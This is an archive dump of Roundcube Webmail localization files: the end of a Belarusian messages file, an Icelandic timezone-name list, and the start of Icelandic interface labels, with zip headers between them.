$messages['emailformaterror'] = 'Хібны адрас электроннай пошты: $email';
$messages['toomanyrecipients'] = 'Занадта шмат атрымальнікаў. Паменшыце колькасць атрымальнікаў да $max.';
$messages['maxgroupmembersreached'] = 'Колькасць удзельнікаў групы перавышае максімум — $max.';
$messages['internalerror'] = 'Унутраная памылка. Паспрабуйце яшчэ раз.';
$messages['contactdelerror'] = 'Не атрымалася выдаліць кантакт(ы).';
$messages['contactdeleted'] = 'Кантакт(ы) выдалены(ыя).';
$messages['contactrestoreerror'] = 'Не атрымалася аднавіць выдалены(ыя) кантакт(ы).';
$messages['contactrestored'] = 'Кантакт(ы) адноўлены(ыя).';
$messages['groupdeleted'] = 'Група паспяхова выдаленая.';
$messages['grouprenamed'] = 'Назва групы паспяхова змененая.';
$messages['groupcreated'] = 'Група паспяхова створаная.';
$messages['savedsearchdeleted'] = 'Захаваны запыт паспяхова выдалены.';
$messages['savedsearchdeleteerror'] = 'Не атрымалася выдаліць захаваны запыт пошуку.';
$messages['savedsearchcreated'] = 'Захаваны запыт пошуку паспяхова створаны.';
$messages['savedsearchcreateerror'] = 'Не атрымалася стварыць захаваны запыт.';
$messages['messagedeleted'] = 'Ліст(ы) паспяхова выдалены(ыя).';
$messages['messagemoved'] = 'Ліст(ы) паспяхова перамешчаны(ыя).';
$messages['messagemovedtotrash'] = 'Ліст(ы) паспяхова перамешчаны(ыя) у сметніцу.';
$messages['messagecopied'] = 'Ліст(ы) паспяхова скапіяваны(ыя).';
$messages['messagemarked'] = 'Ліст(ы) паспяхова пазначаны(ыя).';
$messages['autocompletechars'] = 'Увядзіце прынамсі $min знакаў для аўтадапаўнення.';
$messages['autocompletemore'] = 'Знойдзена занадта шмат адпаведных запісаў. Увядзіце больш знакаў.';
$messages['namecannotbeempty'] = 'Назва не можа быць пустой.';
$messages['nametoolong'] = 'Назва занадта доўгая.';
$messages['namedotforbidden'] = 'Назва каталога не можа пачынацца з кропкі.';
$messages['folderupdated'] = 'Каталог паспяхова абноўлены.';
$messages['foldercreated'] = 'Каталог паспяхова створаны.';
$messages['invalidimageformat'] = 'Няслушны фармат выявы.';
$messages['mispellingsfound'] = 'У лісце выяўленыя граматычныя памылкі.';
$messages['parentnotwritable'] = 'Не атрымалася стварыць/перамясціць каталог ў абраным бацькоўскім каталозе. Няма правоў доступу.';
$messages['messagetoobig'] = 'Гэтая частка ліста занадта вялікая, каб яе апрацаваць.';
$messages['attachmentvalidationerror'] = 'Гэты далучаны файл выглядае падазроным, бо яго тып не супадае з тыпам, пададзеным у лісце. Калі вы не давяраеце адпраўніку, вам не варта адкрываць яго ў браўзеры, бо ён можа змяшчаць шкоднае змесціва.<br/><br/><em>Чакаецца: $expected; знойдзена: $detected</em>';
$messages['noscriptwarning'] = 'Увага: паштовай службе патрэбны Javascript! Каб карыстацца ёй, у наладах браўзера трэба ўключыць Javascript.';
$messages['messageissent'] = 'Ліст ўжо адпраўлены, але яшчэ не захавана. Хочаце захаваць?';
$messages['errnotfound'] = 'Файл не знойдзены';
$messages['errnotfoundexplain'] = 'Запытаны рэсурс не знойдзены.';
$messages['errfailedrequest'] = 'Не атрымалася выканаць запыт';
$messages['errauthorizationfailed'] = 'Не атрымалася выканаць аўтарызацыю';
$messages['errunauthorizedexplain'] = 'Не ўдалося пацвердзіць, што вы маеце права на доступ да гэтай службы.';
$messages['errrequestcheckfailed'] = 'Не атрымалася праверыць запыт';
$messages['errcsrfprotectionexplain'] = "Каб абараніць вас, доступ да гэтага рэсурсу абаронены ад CSRF.\nКалі вы бачыце гэтае паведамленне, верагодна, вы не выходзілі з сістэмы, перш чым выйсці з вэб-праграмы.\n\nЗараз патрэбна ўзаемадзеянне з чалавекам.";
$messages['errcontactserveradmin'] = 'Звярніцеся да адміністратара сервера.';
$messages['clicktoresumesession'] = 'Націсніце сюды, каб аднавіць папярэдні сеанс';
$messages['errcomposesession'] = 'Не атрымалася пачаць сеанс';
$messages['errcomposesessionexplain'] = 'Запытаны сеанс стварэння не знойдзены.';
$messages['clicktocompose'] = 'Націсніце сюды, каб стварыць новы ліст';
$messages['nosupporterror'] = 'Гэтая функцыя не падтрымліваецца ў вэб-браўзера.';
$messages['siginserted'] = 'Подпіс паспяхова ўстаўлены.';
$messages['responseinserted'] = 'Адказ паспяхова ўстаўлены.';
$messages['noresponsesavailable'] = 'Няма даступных адказаў';
$messages['listempty'] = 'Спіс пусты.';
$messages['listusebutton'] = 'Каб дадаць новы запіс, скарыстайцеся кнопкай "Стварыць".';
$messages['keypaircreatesuccess'] = 'Новая пара ключоў паспяхова створаная для $identity.';
$messages['emptyattachment'] = 'Здаецца, гэты ліст пусты.<br> Магчыма, змесціва было выдалена антывіруснымі/антыспамавымі службамі. Удакладніце ў адпраўніка.';
$messages['oauthloginfailed'] = 'Не атрымалася ўвайсці з дапамогай OAuth. Паспрабуйце пазней.';
PK
h�\4�_�2O2O(program/localization/is_IS/timezones.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/timezones/
*/

$labels['tz:utc'] = 'UTC';
$labels['tz:africa'] = 'Afríka';
$labels['tz:africa:abidjan'] = 'Abidjan';
$labels['tz:africa:accra'] = 'Accra';
$labels['tz:africa:addis_ababa'] = 'Addis Ababa';
$labels['tz:africa:algiers'] = 'Algeirsborg';
$labels['tz:africa:asmara'] = 'Asmara';
$labels['tz:africa:bamako'] = 'Bamako';
$labels['tz:africa:bangui'] = 'Bangui';
$labels['tz:africa:banjul'] = 'Banjul';
$labels['tz:africa:bissau'] = 'Bissau';
$labels['tz:africa:blantyre'] = 'Blantyre';
$labels['tz:africa:brazzaville'] = 'Brassaville';
$labels['tz:africa:bujumbura'] = 'Bujumbura';
$labels['tz:africa:cairo'] = 'Kaíró';
$labels['tz:africa:casablanca'] = 'Casablanca';
$labels['tz:africa:ceuta'] = 'Ceuta';
$labels['tz:africa:conakry'] = 'Conakry';
$labels['tz:africa:dakar'] = 'Dakar';
$labels['tz:africa:dar_es_salaam'] = 'Dar es Salaam';
$labels['tz:africa:djibouti'] = 'Djibútí';
$labels['tz:africa:douala'] = 'Douala';
$labels['tz:africa:el_aaiun'] = 'El Aaiun';
$labels['tz:africa:freetown'] = 'Freetown';
$labels['tz:africa:gaborone'] = 'Gaborone';
$labels['tz:africa:harare'] = 'Harare';
$labels['tz:africa:johannesburg'] = 'Jóhannesarborg';
$labels['tz:africa:juba'] = 'Juba';
$labels['tz:africa:kampala'] = 'Kampala';
$labels['tz:africa:khartoum'] = 'Khartoum';
$labels['tz:africa:kigali'] = 'Kigali';
$labels['tz:africa:kinshasa'] = 'Kinsasa';
$labels['tz:africa:lagos'] = 'Lagos';
$labels['tz:africa:libreville'] = 'Libreville';
$labels['tz:africa:lome'] = 'Lomé';
$labels['tz:africa:luanda'] = 'Lúanda';
$labels['tz:africa:lubumbashi'] = 'Lubumbashi';
$labels['tz:africa:lusaka'] = 'Lúsaka';
$labels['tz:africa:malabo'] = 'Malabo';
$labels['tz:africa:maputo'] = 'Maputo';
$labels['tz:africa:maseru'] = 'Maseru';
$labels['tz:africa:mbabane'] = 'Mbabane';
$labels['tz:africa:mogadishu'] = 'Mogadishu';
$labels['tz:africa:monrovia'] = 'Monróvía';
$labels['tz:africa:nairobi'] = 'Næróbí';
$labels['tz:africa:ndjamena'] = 'Ndjamena';
$labels['tz:africa:niamey'] = 'Niamey';
$labels['tz:africa:nouakchott'] = 'Nouakchott';
$labels['tz:africa:ouagadougou'] = 'Ouagadougou';
$labels['tz:africa:porto-novo'] = 'Porto-Novo';
$labels['tz:africa:sao_tome'] = 'São Tomé';
$labels['tz:africa:tripoli'] = 'Trípólí';
$labels['tz:africa:tunis'] = 'Túnisborg';
$labels['tz:africa:windhoek'] = 'Windhoek';
$labels['tz:america'] = 'Ameríka';
$labels['tz:america:adak'] = 'Adak';
$labels['tz:america:anchorage'] = 'Anchorage';
$labels['tz:america:anguilla'] = 'Anguilla';
$labels['tz:america:antigua'] = 'Antigua';
$labels['tz:america:araguaina'] = 'Araguaina';
$labels['tz:america:argentina'] = 'Argentína';
$labels['tz:america:argentina:buenos_aires'] = 'Buenos Aires';
$labels['tz:america:argentina:catamarca'] = 'Catamarca';
$labels['tz:america:argentina:cordoba'] = 'Cordoba';
$labels['tz:america:argentina:jujuy'] = 'Jujuy';
$labels['tz:america:argentina:la_rioja'] = 'La Rioja';
$labels['tz:america:argentina:mendoza'] = 'Mendoza';
$labels['tz:america:argentina:rio_gallegos'] = 'Rio Gallegos';
$labels['tz:america:argentina:salta'] = 'Salta';
$labels['tz:america:argentina:san_juan'] = 'San Juan';
$labels['tz:america:argentina:san_luis'] = 'San Luis';
$labels['tz:america:argentina:tucuman'] = 'Tucuman';
$labels['tz:america:argentina:ushuaia'] = 'Ushuaia';
$labels['tz:america:aruba'] = 'Aruba';
$labels['tz:america:asuncion'] = 'Asunción';
$labels['tz:america:atikokan'] = 'Atikokan';
$labels['tz:america:bahia'] = 'Bahia';
$labels['tz:america:bahia_banderas'] = 'Bahia Banderas';
$labels['tz:america:barbados'] = 'Barbados';
$labels['tz:america:belem'] = 'Belem';
$labels['tz:america:belize'] = 'Belís';
$labels['tz:america:blanc-sablon'] = 'Blanc-Sablon';
$labels['tz:america:boa_vista'] = 'Boa Vista';
$labels['tz:america:bogota'] = 'Bógóta';
$labels['tz:america:boise'] = 'Boise';
$labels['tz:america:cambridge_bay'] = 'Cambridge Bay';
$labels['tz:america:campo_grande'] = 'Campo Grande';
$labels['tz:america:cancun'] = 'Cancun';
$labels['tz:america:caracas'] = 'Caracas';
$labels['tz:america:cayenne'] = 'Cayenne';
$labels['tz:america:cayman'] = 'Cayman';
$labels['tz:america:chicago'] = 'Chicago';
$labels['tz:america:chihuahua'] = 'Chihuahua';
$labels['tz:america:costa_rica'] = 'Kostaríka';
$labels['tz:america:creston'] = 'Creston';
$labels['tz:america:cuiaba'] = 'Cuiaba';
$labels['tz:america:curacao'] = 'Curaçao';
$labels['tz:america:danmarkshavn'] = 'Danmarkshavn';
$labels['tz:america:dawson'] = 'Dawson';
$labels['tz:america:dawson_creek'] = 'Dawson Creek';
$labels['tz:america:denver'] = 'Denver';
$labels['tz:america:detroit'] = 'Detroit';
$labels['tz:america:dominica'] = 'Dominica';
$labels['tz:america:edmonton'] = 'Edmonton';
$labels['tz:america:eirunepe'] = 'Eirunepe';
$labels['tz:america:el_salvador'] = 'El Salvador';
$labels['tz:america:fort_nelson'] = 'Fort Nelson';
$labels['tz:america:fortaleza'] = 'Fortaleza';
$labels['tz:america:glace_bay'] = 'Glace Bay';
$labels['tz:america:godthab'] = 'Nuuk';
$labels['tz:america:goose_bay'] = 'Goose Bay';
$labels['tz:america:grand_turk'] = 'Grand Turk';
$labels['tz:america:grenada'] = 'Grenada';
$labels['tz:america:guadeloupe'] = 'Gvadalúp';
$labels['tz:america:guatemala'] = 'Gvatemala';
$labels['tz:america:guayaquil'] = 'Guayaquil';
$labels['tz:america:guyana'] = 'Gvæana';
$labels['tz:america:halifax'] = 'Halifax';
$labels['tz:america:havana'] = 'Havana';
$labels['tz:america:hermosillo'] = 'Hermosillo';
$labels['tz:america:indiana'] = 'Indiana';
$labels['tz:america:indiana:indianapolis'] = 'Indianapolis';
$labels['tz:america:indiana:knox'] = 'Knox';
$labels['tz:america:indiana:marengo'] = 'Marengo';
$labels['tz:america:indiana:petersburg'] = 'Petersburg';
$labels['tz:america:indiana:tell_city'] = 'Tell City';
$labels['tz:america:indiana:vevay'] = 'Vevay';
$labels['tz:america:indiana:vincennes'] = 'Vincennes';
$labels['tz:america:indiana:winamac'] = 'Winamac';
$labels['tz:america:inuvik'] = 'Inuvik';
$labels['tz:america:iqaluit'] = 'Iqaluit';
$labels['tz:america:jamaica'] = 'Jamaíka';
$labels['tz:america:juneau'] = 'Juneau';
$labels['tz:america:kentucky'] = 'Kentucky';
$labels['tz:america:kentucky:louisville'] = 'Louisville';
$labels['tz:america:kentucky:monticello'] = 'Monticello';
$labels['tz:america:kralendijk'] = 'Kralendijk';
$labels['tz:america:la_paz'] = 'La Paz';
$labels['tz:america:lima'] = 'Líma';
$labels['tz:america:los_angeles'] = 'Los Angeles';
$labels['tz:america:lower_princes'] = 'Lower Princes';
$labels['tz:america:maceio'] = 'Maceio';
$labels['tz:america:managua'] = 'Managva';
$labels['tz:america:manaus'] = 'Manaus';
$labels['tz:america:marigot'] = 'Marigot';
$labels['tz:america:martinique'] = 'Martiník';
$labels['tz:america:matamoros'] = 'Matamoros';
$labels['tz:america:mazatlan'] = 'Mazatlan';
$labels['tz:america:menominee'] = 'Menominee';
$labels['tz:america:merida'] = 'Merida';
$labels['tz:america:metlakatla'] = 'Metlakatla';
$labels['tz:america:mexico_city'] = 'Mexíkóborg';
$labels['tz:america:miquelon'] = 'Miquelon';
$labels['tz:america:moncton'] = 'Moncton';
$labels['tz:america:monterrey'] = 'Monterrey';
$labels['tz:america:montevideo'] = 'Montevídeó';
$labels['tz:america:montserrat'] = 'Montserrat';
$labels['tz:america:nassau'] = 'Nassau';
$labels['tz:america:new_york'] = 'New York';
$labels['tz:america:nipigon'] = 'Nipigon';
$labels['tz:america:nome'] = 'Nome';
$labels['tz:america:noronha'] = 'Noronha';
$labels['tz:america:north_dakota'] = 'Norður Dakóta';
$labels['tz:america:north_dakota:beulah'] = 'Beulah';
$labels['tz:america:north_dakota:center'] = 'Center';
$labels['tz:america:north_dakota:new_salem'] = 'New Salem';
$labels['tz:america:ojinaga'] = 'Ojinaga';
$labels['tz:america:panama'] = 'Panama';
$labels['tz:america:pangnirtung'] = 'Pangnirtung';
$labels['tz:america:paramaribo'] = 'Paramaribo';
$labels['tz:america:phoenix'] = 'Phoenix';
$labels['tz:america:port-au-prince'] = 'Port-au-Prince';
$labels['tz:america:port_of_spain'] = 'Port of Spain';
$labels['tz:america:porto_velho'] = 'Porto Velho';
$labels['tz:america:puerto_rico'] = 'Puerto Rico';
$labels['tz:america:rainy_river'] = 'Rainy River';
$labels['tz:america:rankin_inlet'] = 'Rankin Inlet';
$labels['tz:america:recife'] = 'Recife';
$labels['tz:america:regina'] = 'Regina';
$labels['tz:america:resolute'] = 'Resolute';
$labels['tz:america:rio_branco'] = 'Rio Branco';
$labels['tz:america:santarem'] = 'Santarem';
$labels['tz:america:santiago'] = 'Santíago';
$labels['tz:america:santo_domingo'] = 'Santo Domingo';
$labels['tz:america:sao_paulo'] = 'Sao Paulo';
$labels['tz:america:scoresbysund'] = 'Skoresbysund';
$labels['tz:america:sitka'] = 'Sitka';
$labels['tz:america:st_barthelemy'] = 'Saint Barthélemy';
$labels['tz:america:st_johns'] = "Saint John's";
$labels['tz:america:st_kitts'] = 'Saint Kitts';
$labels['tz:america:st_lucia'] = 'Saint Lucia';
$labels['tz:america:st_thomas'] = 'Saint Thomas';
$labels['tz:america:st_vincent'] = 'Saint Vincent';
$labels['tz:america:swift_current'] = 'Swift Current';
$labels['tz:america:tegucigalpa'] = 'Tegucigalpa';
$labels['tz:america:thule'] = 'Túle';
$labels['tz:america:thunder_bay'] = 'Thunder Bay';
$labels['tz:america:tijuana'] = 'Tijuana';
$labels['tz:america:toronto'] = 'Tórontó';
$labels['tz:america:tortola'] = 'Tortóla';
$labels['tz:america:vancouver'] = 'Vancouver';
$labels['tz:america:whitehorse'] = 'Whitehorse';
$labels['tz:america:winnipeg'] = 'Winnipeg';
$labels['tz:america:yakutat'] = 'Yakutat';
$labels['tz:america:yellowknife'] = 'Yellowknife';
$labels['tz:antarctica'] = 'Antartíka';
$labels['tz:antarctica:casey'] = 'Casey';
$labels['tz:antarctica:davis'] = 'Davis';
$labels['tz:antarctica:dumontdurville'] = "Dumont d'Urville";
$labels['tz:antarctica:macquarie'] = 'Macquarie';
$labels['tz:antarctica:mawson'] = 'Mawson';
$labels['tz:antarctica:mcmurdo'] = 'McMurdo';
$labels['tz:antarctica:palmer'] = 'Palmer';
$labels['tz:antarctica:rothera'] = 'Rothera';
$labels['tz:antarctica:syowa'] = 'Syowa';
$labels['tz:antarctica:troll'] = 'Troll';
$labels['tz:antarctica:vostok'] = 'Vostok';
$labels['tz:arctic'] = 'Norðurhöf';
$labels['tz:arctic:longyearbyen'] = 'Longyearbyen';
$labels['tz:asia'] = 'Asía';
$labels['tz:asia:aden'] = 'Aden';
$labels['tz:asia:almaty'] = 'Almaty';
$labels['tz:asia:amman'] = 'Amman';
$labels['tz:asia:anadyr'] = 'Anadyr';
$labels['tz:asia:aqtau'] = 'Aqtau';
$labels['tz:asia:aqtobe'] = 'Aqtobe';
$labels['tz:asia:ashgabat'] = 'Ashgabat';
$labels['tz:asia:atyrau'] = 'Atyrau';
$labels['tz:asia:baghdad'] = 'Bagdad';
$labels['tz:asia:bahrain'] = 'Barein';
$labels['tz:asia:baku'] = 'Bakú';
$labels['tz:asia:bangkok'] = 'Bangkok';
$labels['tz:asia:barnaul'] = 'Barnaul';
$labels['tz:asia:beirut'] = 'Beirút';
$labels['tz:asia:bishkek'] = 'Bishkek';
$labels['tz:asia:brunei'] = 'Brúnei';
$labels['tz:asia:chita'] = 'Chita';
$labels['tz:asia:choibalsan'] = 'Choibalsan';
$labels['tz:asia:colombo'] = 'Kólombó';
$labels['tz:asia:damascus'] = 'Damaskus';
$labels['tz:asia:dhaka'] = 'Dhaka';
$labels['tz:asia:dili'] = 'Dili';
$labels['tz:asia:dubai'] = 'Dúbæ';
$labels['tz:asia:dushanbe'] = 'Dushanbe';
$labels['tz:asia:famagusta'] = 'Famagusta';
$labels['tz:asia:gaza'] = 'Gaza';
$labels['tz:asia:hebron'] = 'Hebron';
$labels['tz:asia:ho_chi_minh'] = 'Hósjímín-borg';
$labels['tz:asia:hong_kong'] = 'Hong Kong';
$labels['tz:asia:hovd'] = 'Hovd';
$labels['tz:asia:irkutsk'] = 'Irkútsk';
$labels['tz:asia:jakarta'] = 'Jakarta';
$labels['tz:asia:jayapura'] = 'Jayapura';
$labels['tz:asia:jerusalem'] = 'Jerúsalem';
$labels['tz:asia:kabul'] = 'Kabúl';
$labels['tz:asia:kamchatka'] = 'Kamtsjatka';
$labels['tz:asia:karachi'] = 'Karachi';
$labels['tz:asia:kathmandu'] = 'Katmandú';
$labels['tz:asia:khandyga'] = 'Khandyga';
$labels['tz:asia:kolkata'] = 'Kalkútta';
$labels['tz:asia:krasnoyarsk'] = 'Krasnoyarsk';
$labels['tz:asia:kuala_lumpur'] = 'Kúala Lúmpúr';
$labels['tz:asia:kuching'] = 'Kuching';
$labels['tz:asia:kuwait'] = 'Kúveit';
$labels['tz:asia:macau'] = 'Makaó';
$labels['tz:asia:magadan'] = 'Magadan';
$labels['tz:asia:makassar'] = 'Makassar';
$labels['tz:asia:manila'] = 'Manilla';
$labels['tz:asia:muscat'] = 'Múskat';
$labels['tz:asia:nicosia'] = 'Níkósía';
$labels['tz:asia:novokuznetsk'] = 'Novokuznetsk';
$labels['tz:asia:novosibirsk'] = 'Novosibirsk';
$labels['tz:asia:omsk'] = 'Omsk';
$labels['tz:asia:oral'] = 'Oral';
$labels['tz:asia:phnom_penh'] = 'Phnom Penh';
$labels['tz:asia:pontianak'] = 'Pontianak';
$labels['tz:asia:pyongyang'] = 'Pjongjang';
$labels['tz:asia:qatar'] = 'Katar';
$labels['tz:asia:qyzylorda'] = 'Qyzylorda';
$labels['tz:asia:riyadh'] = 'Riyadh';
$labels['tz:asia:sakhalin'] = 'Sjakalín';
$labels['tz:asia:samarkand'] = 'Samarkand';
$labels['tz:asia:seoul'] = 'Seúl';
$labels['tz:asia:shanghai'] = 'Sjanghæ';
$labels['tz:asia:singapore'] = 'Singapúr';
$labels['tz:asia:srednekolymsk'] = 'Srednekolymsk';
$labels['tz:asia:taipei'] = 'Tæpei';
$labels['tz:asia:tashkent'] = 'Taskent';
$labels['tz:asia:tbilisi'] = 'Tínlísí';
$labels['tz:asia:tehran'] = 'Teheran';
$labels['tz:asia:thimphu'] = 'Thimphu';
$labels['tz:asia:tokyo'] = 'Tókyó';
$labels['tz:asia:tomsk'] = 'Tomsk';
$labels['tz:asia:ulaanbaatar'] = 'Úlan-Bator';
$labels['tz:asia:urumqi'] = 'Urumqi';
$labels['tz:asia:ust-nera'] = 'Ust-Nera';
$labels['tz:asia:vientiane'] = 'Vientiane';
$labels['tz:asia:vladivostok'] = 'Vladivostok';
$labels['tz:asia:yakutsk'] = 'Yakutsk';
$labels['tz:asia:yangon'] = 'Yangon';
$labels['tz:asia:yekaterinburg'] = 'Yekaterinburg';
$labels['tz:asia:yerevan'] = 'Yerevan';
$labels['tz:atlantic'] = 'Atlantshaf';
$labels['tz:atlantic:azores'] = 'Azoreyjar';
$labels['tz:atlantic:bermuda'] = 'Bermúda';
$labels['tz:atlantic:canary'] = 'Kanaríeyjar';
$labels['tz:atlantic:cape_verde'] = 'Grænhöfðaeyjar';
$labels['tz:atlantic:faroe'] = 'Færeyjar';
$labels['tz:atlantic:madeira'] = 'Madeira';
$labels['tz:atlantic:reykjavik'] = 'Reykjavík';
$labels['tz:atlantic:south_georgia'] = 'Suður-Georgía';
$labels['tz:atlantic:st_helena'] = 'St-Helena';
$labels['tz:atlantic:stanley'] = 'Stanley';
$labels['tz:australia'] = 'Ástralía';
$labels['tz:australia:adelaide'] = 'Adelaide';
$labels['tz:australia:brisbane'] = 'Brisbane';
$labels['tz:australia:broken_hill'] = 'Broken Hill';
$labels['tz:australia:currie'] = 'Currie';
$labels['tz:australia:darwin'] = 'Darwin';
$labels['tz:australia:eucla'] = 'Eucla';
$labels['tz:australia:hobart'] = 'Hobart';
$labels['tz:australia:lindeman'] = 'Lindeman';
$labels['tz:australia:lord_howe'] = 'Lord Howe';
$labels['tz:australia:melbourne'] = 'Melbourne';
$labels['tz:australia:perth'] = 'Perth';
$labels['tz:australia:sydney'] = 'Sydney';
$labels['tz:europe'] = 'Evrópa';
$labels['tz:europe:amsterdam'] = 'Amsterdam';
$labels['tz:europe:andorra'] = 'Andorra';
$labels['tz:europe:astrakhan'] = 'Astrakhan';
$labels['tz:europe:athens'] = 'Aþena';
$labels['tz:europe:belgrade'] = 'Belgrað';
$labels['tz:europe:berlin'] = 'Berlín';
$labels['tz:europe:bratislava'] = 'Bratislava';
$labels['tz:europe:brussels'] = 'Brussel';
$labels['tz:europe:bucharest'] = 'Búkarest';
$labels['tz:europe:budapest'] = 'Búdapest';
$labels['tz:europe:busingen'] = 'Busingen';
$labels['tz:europe:chisinau'] = 'Chisinau';
$labels['tz:europe:copenhagen'] = 'Kaupmannahöfn';
$labels['tz:europe:dublin'] = 'Dublin';
$labels['tz:europe:gibraltar'] = 'Gíbraltar';
$labels['tz:europe:guernsey'] = 'Guernsey';
$labels['tz:europe:helsinki'] = 'Helsinki';
$labels['tz:europe:isle_of_man'] = 'Mön';
$labels['tz:europe:istanbul'] = 'Istanbúl';
$labels['tz:europe:jersey'] = 'Jersey';
$labels['tz:europe:kaliningrad'] = 'Kalíningrad';
$labels['tz:europe:kiev'] = 'Kænugarður';
$labels['tz:europe:kirov'] = 'Kirov';
$labels['tz:europe:lisbon'] = 'Lissabon';
$labels['tz:europe:ljubljana'] = 'Ljubljana';
$labels['tz:europe:london'] = 'London';
$labels['tz:europe:luxembourg'] = 'Lúxemborg';
$labels['tz:europe:madrid'] = 'Madríd';
$labels['tz:europe:malta'] = 'Malta';
$labels['tz:europe:mariehamn'] = 'Maríuhöfn';
$labels['tz:europe:minsk'] = 'Minsk';
$labels['tz:europe:monaco'] = 'Mónakó';
$labels['tz:europe:moscow'] = 'Moskva';
$labels['tz:europe:oslo'] = 'Osló';
$labels['tz:europe:paris'] = 'París';
$labels['tz:europe:podgorica'] = 'Podgorica';
$labels['tz:europe:prague'] = 'Prag';
$labels['tz:europe:riga'] = 'Ríga';
$labels['tz:europe:rome'] = 'Róm';
$labels['tz:europe:samara'] = 'Samara';
$labels['tz:europe:san_marino'] = 'San Marínó';
$labels['tz:europe:sarajevo'] = 'Sarajevó';
$labels['tz:europe:saratov'] = 'Saratov';
$labels['tz:europe:simferopol'] = 'Simferopol';
$labels['tz:europe:skopje'] = 'Skópje';
$labels['tz:europe:sofia'] = 'Sófía';
$labels['tz:europe:stockholm'] = 'Stokkhólmur';
$labels['tz:europe:tallinn'] = 'Tallínn';
$labels['tz:europe:tirane'] = 'Tírana';
$labels['tz:europe:ulyanovsk'] = 'Ulyanovsk';
$labels['tz:europe:uzhgorod'] = 'Uzhgorod';
$labels['tz:europe:vaduz'] = 'Vaduz';
$labels['tz:europe:vatican'] = 'Vatíkanið';
$labels['tz:europe:vienna'] = 'Vín';
$labels['tz:europe:vilnius'] = 'Vilníus';
$labels['tz:europe:volgograd'] = 'Volgograd';
$labels['tz:europe:warsaw'] = 'Varsjá';
$labels['tz:europe:zagreb'] = 'Sagreb';
$labels['tz:europe:zaporozhye'] = 'Zaporozhye';
$labels['tz:europe:zurich'] = 'Zurich';
$labels['tz:indian'] = 'Indlandshaf';
$labels['tz:indian:antananarivo'] = 'Antananarivo';
$labels['tz:indian:chagos'] = 'Chagos';
$labels['tz:indian:christmas'] = 'Jólaeyja';
$labels['tz:indian:cocos'] = 'Kókos-eyjar';
$labels['tz:indian:comoro'] = 'Komoró';
$labels['tz:indian:kerguelen'] = 'Kergúlen';
$labels['tz:indian:mahe'] = 'Mahe';
$labels['tz:indian:maldives'] = 'Maldív-eyjar';
$labels['tz:indian:mauritius'] = 'Máritíus';
$labels['tz:indian:mayotte'] = 'Mayotte';
$labels['tz:indian:reunion'] = 'Reunion';
$labels['tz:pacific'] = 'Kyrrahaf';
$labels['tz:pacific:apia'] = 'Apia';
$labels['tz:pacific:auckland'] = 'Auckland';
$labels['tz:pacific:bougainville'] = 'Bougainville';
$labels['tz:pacific:chatham'] = 'Chatham';
$labels['tz:pacific:chuuk'] = 'Chuuk';
$labels['tz:pacific:easter'] = 'Páskaeyja';
$labels['tz:pacific:efate'] = 'Efate';
$labels['tz:pacific:enderbury'] = 'Enderbury';
$labels['tz:pacific:fakaofo'] = 'Fakaofo';
$labels['tz:pacific:fiji'] = 'Fidjí-eyjar';
$labels['tz:pacific:funafuti'] = 'Funafuti';
$labels['tz:pacific:galapagos'] = 'Galapagos';
$labels['tz:pacific:gambier'] = 'Gambier';
$labels['tz:pacific:guadalcanal'] = 'Guadalcanal';
$labels['tz:pacific:guam'] = 'Gvam';
$labels['tz:pacific:honolulu'] = 'Honúlúlú';
$labels['tz:pacific:johnston'] = 'Johnston';
$labels['tz:pacific:kiritimati'] = 'Kiritimati';
$labels['tz:pacific:kosrae'] = 'Kosrae';
$labels['tz:pacific:kwajalein'] = 'Kwajalein';
$labels['tz:pacific:majuro'] = 'Majuro';
$labels['tz:pacific:marquesas'] = 'Marquesa-eyjar';
$labels['tz:pacific:midway'] = 'Midway';
$labels['tz:pacific:nauru'] = 'Nárú';
$labels['tz:pacific:niue'] = 'Niue';
$labels['tz:pacific:norfolk'] = 'Norfolk';
$labels['tz:pacific:noumea'] = 'Númea';
$labels['tz:pacific:pago_pago'] = 'Pago Pago';
$labels['tz:pacific:palau'] = 'Palá';
$labels['tz:pacific:pitcairn'] = 'Pitcairn';
$labels['tz:pacific:pohnpei'] = 'Pohnpei';
$labels['tz:pacific:port_moresby'] = 'Port Moresby';
$labels['tz:pacific:rarotonga'] = 'Rarotonga';
$labels['tz:pacific:saipan'] = 'Saipan';
$labels['tz:pacific:tahiti'] = 'Tahítí';
$labels['tz:pacific:tarawa'] = 'Tarawa';
$labels['tz:pacific:tongatapu'] = 'Tongatapu';
$labels['tz:pacific:wake'] = 'Wake';
$labels['tz:pacific:wallis'] = 'Wallis';
PK
h�\%z<�d�d�%program/localization/is_IS/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'Velkomin í $product';
$labels['username'] = 'Netfang';
$labels['password'] = 'Lykilorð';
$labels['server'] = 'Póstþjónn';
$labels['login'] = 'Innskrá';
$labels['oauthlogin'] = 'Skrá inn með $provider';
$labels['menu'] = 'Valmynd';
$labels['logout'] = 'Útskrá';
$labels['mail'] = 'Tölvupóstur';
$labels['settings'] = 'Stillingar';
$labels['addressbook'] = 'Nafnaskrá';
$labels['darkmode'] = 'Dökkur hamur';
$labels['lightmode'] = 'Ljós hamur';
$labels['inbox'] = 'Innhólf';
$labels['drafts'] = 'Drög';
$labels['sent'] = 'Sent';
$labels['trash'] = 'Rusl';
$labels['junk'] = 'Ruslpóstur';
$labels['show_real_foldernames'] = 'Birta raunveruleg heiti á sérmöppum';
$labels['subject'] = 'Titill';
$labels['from'] = 'Frá';
$labels['sender'] = 'Sendandi';
$labels['to'] = 'Til';
$labels['cc'] = 'Afrit';
$labels['bcc'] = 'Falið afrit';
$labels['replyto'] = 'Svar til';
$labels['followupto'] = 'Svar við';
$labels['date'] = 'Dagsetning';
$labels['size'] = 'Stærð';
$labels['priority'] = 'Forgangur';
$labels['organization'] = 'Stofnun';
$labels['readstatus'] = 'Lesmerking';
$labels['listoptions'] = 'Telja upp valkosti...';
